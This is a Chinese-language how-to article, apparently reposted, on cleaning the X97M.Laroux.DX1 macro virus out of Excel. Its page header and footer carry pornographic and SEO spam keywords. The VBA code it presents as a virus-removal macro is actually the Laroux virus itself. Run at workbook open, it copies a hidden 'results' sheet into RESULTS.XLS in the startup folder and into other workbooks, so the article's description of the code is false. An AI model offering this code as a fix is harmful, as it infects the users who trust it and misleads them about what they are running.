国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 辦公 > Excel > 正文

EXCEL中宏毒X97M.Laroux.DX1的解決辦法

2024-08-23 19:53:27
字體:
來源:轉載
供稿:網友

  一般來說,Excel是不容易中毒的,要中毒的話,就會中宏代碼的毒。

  如果您的EXCEL中了X97M.Laroux.DX1的毒,請使用如下的方法來解決。

  一、常規方法

  使用殺毒軟件掃描全盤文件,然后,進入安全模式再刪除相應文件即可。

  二、使用EXCEL來解決

  ①禁止宏運行

  將EXCEL的安全級別設置為最高,這樣,X97M.Laroux.DX1宏就不能運行了。之后,打開EXCEL,將宏刪除即可。

  刪除方法為:工具→宏→宏→刪除。

  ②使用宏代碼刪除此毒

  刪除X97M.Laroux.DX1宏毒的宏代碼如下:

  Sub auto_open()

  application.OnSheetActivate = "ck_files"

  End Sub

  Sub ck_files()

  c$ = Application.StartupPath

  m$ = Dir(c$ & "" & "RESULTS.XLS")

  If m$ = "RESULTS.XLS" Then p = 1 Else p = 0

  If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

  whichfile = p + w * 10

  Select Case whichfile

  Case 10

  Application.ScreenUpdating = False

  n4$ = ActiveWorkbook.Name

  Sheets("results").Visible = True

  Sheets("results").Select

  Sheets("results").Copy

  With ActiveWorkbook

  .Title = ""

  .Subject = ""

  .Author = ""

  .KeyWords = ""

  .Comments = ""

  End With

  newname$ = ActiveWorkbook.Name

  c4$ = CurDir()

  ChDir Application.StartupPath

  ActiveWindow.Visible = False

  Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _

  , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _

  False, CreateBackup:=False

  ChDir c4$

  Workbooks(n4$).Sheets("results").Visible = False

  Application.OnSheetActivate = ""

  Application.ScreenUpdating = True

  Application.OnSheetActivate = "RESULTS.XLS!ck_files"

  Case 1

  Application.ScreenUpdating = False

  n4$ = ActiveWorkbook.Name

  p4$ = ActiveWorkbook.Path

  s$ = Workbooks(n4$).Sheets(1).Name

  If s$ <> "results" Then

  Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)

  Workbooks(n4$).Sheets("results").Visible = False

  Else

  End If

  Application.OnSheetActivate = ""

  Application.ScreenUpdating = True

  Application.OnSheetActivate = "RESULTS.XLS!ck_files"

  Case Else

  End Select

  End Sub


發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 淮阳县| 白河县| 嘉荫县| 兴化市| 开封县| 时尚| 台北县| 龙江县| 舞钢市| 楚雄市| 搜索| 江津市| 饶平县| 枣庄市| 黄浦区| 达州市| 郯城县| 乡宁县| 黔西| 乃东县| 天长市| 永和县| 本溪市| 常德市| 汽车| 合江县| 榆中县| 小金县| 阿瓦提县| 靖宇县| 浦城县| 博罗县| 云梦县| 永平县| 象山县| 修文县| 固安县| 平山县| 个旧市| 修文县| 平和县|